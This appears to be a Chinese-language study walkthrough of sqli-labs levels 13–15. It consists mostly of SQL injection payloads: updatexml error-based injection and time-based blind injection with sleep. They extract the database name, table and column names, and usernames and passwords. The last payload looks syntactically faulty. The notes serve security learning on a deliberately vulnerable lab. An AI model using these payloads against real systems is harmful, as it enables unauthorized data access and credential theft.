一.less-13
1.判断注入类型
1 and 1=1
1 and 1=2
发现结果一样所以是字符型
2.判断闭合点
1')
3.猜字段数
1') order by 3#
1') order by 2#
4.确定回显点
1') union select 1,2#
没有回显位--报错注入/布尔盲注
5.获取数据库名称
1') union select (updatexml(1,concat(0x7e,(select database()),0x7e),1))#
数据库名为:security
6.获取所有表名
第一张
1') union select (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1))#
之后得出全部表
7.获取所有字段数
第一个
1') union select (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1))#
8.获取数据
1') union select (updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1))#
二.less-14
1.判断闭合
发现闭合方式为"
2.查数据库
1" and updatexml(1,concat(1,(select database())),1) #
数据库为security
3.查表名
1" and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security' LIMIT 1)),1)#
4.查列名
1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)#
5.查数据
1" and updatexml(1,concat(1,(select group_concat(username,password)from users)),1)#
三.less-15
这一关发送的重放器里进行注入
第一步
进行时间盲注判断发现响应时间为sleep函数执行的时间则存在
第二步
开始判断数据库的长度
'and if(length(database())=8,sleep(3),1)#
#截取数据库的字符
' and if((ascii(substr(database(),1,1))=115),sleep(3),0)#
第三步
爆出表名
#截取表的长度
' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(3),0)#
#获取表的名称,这里直接跑user表
' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0)#
第四步
爆出字段
' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=117,sleep(5),0)#
第五步
爆出数据
'and if(ascii(substr((select (id,username,password) from users),1,1))=117,sleep(5),0)#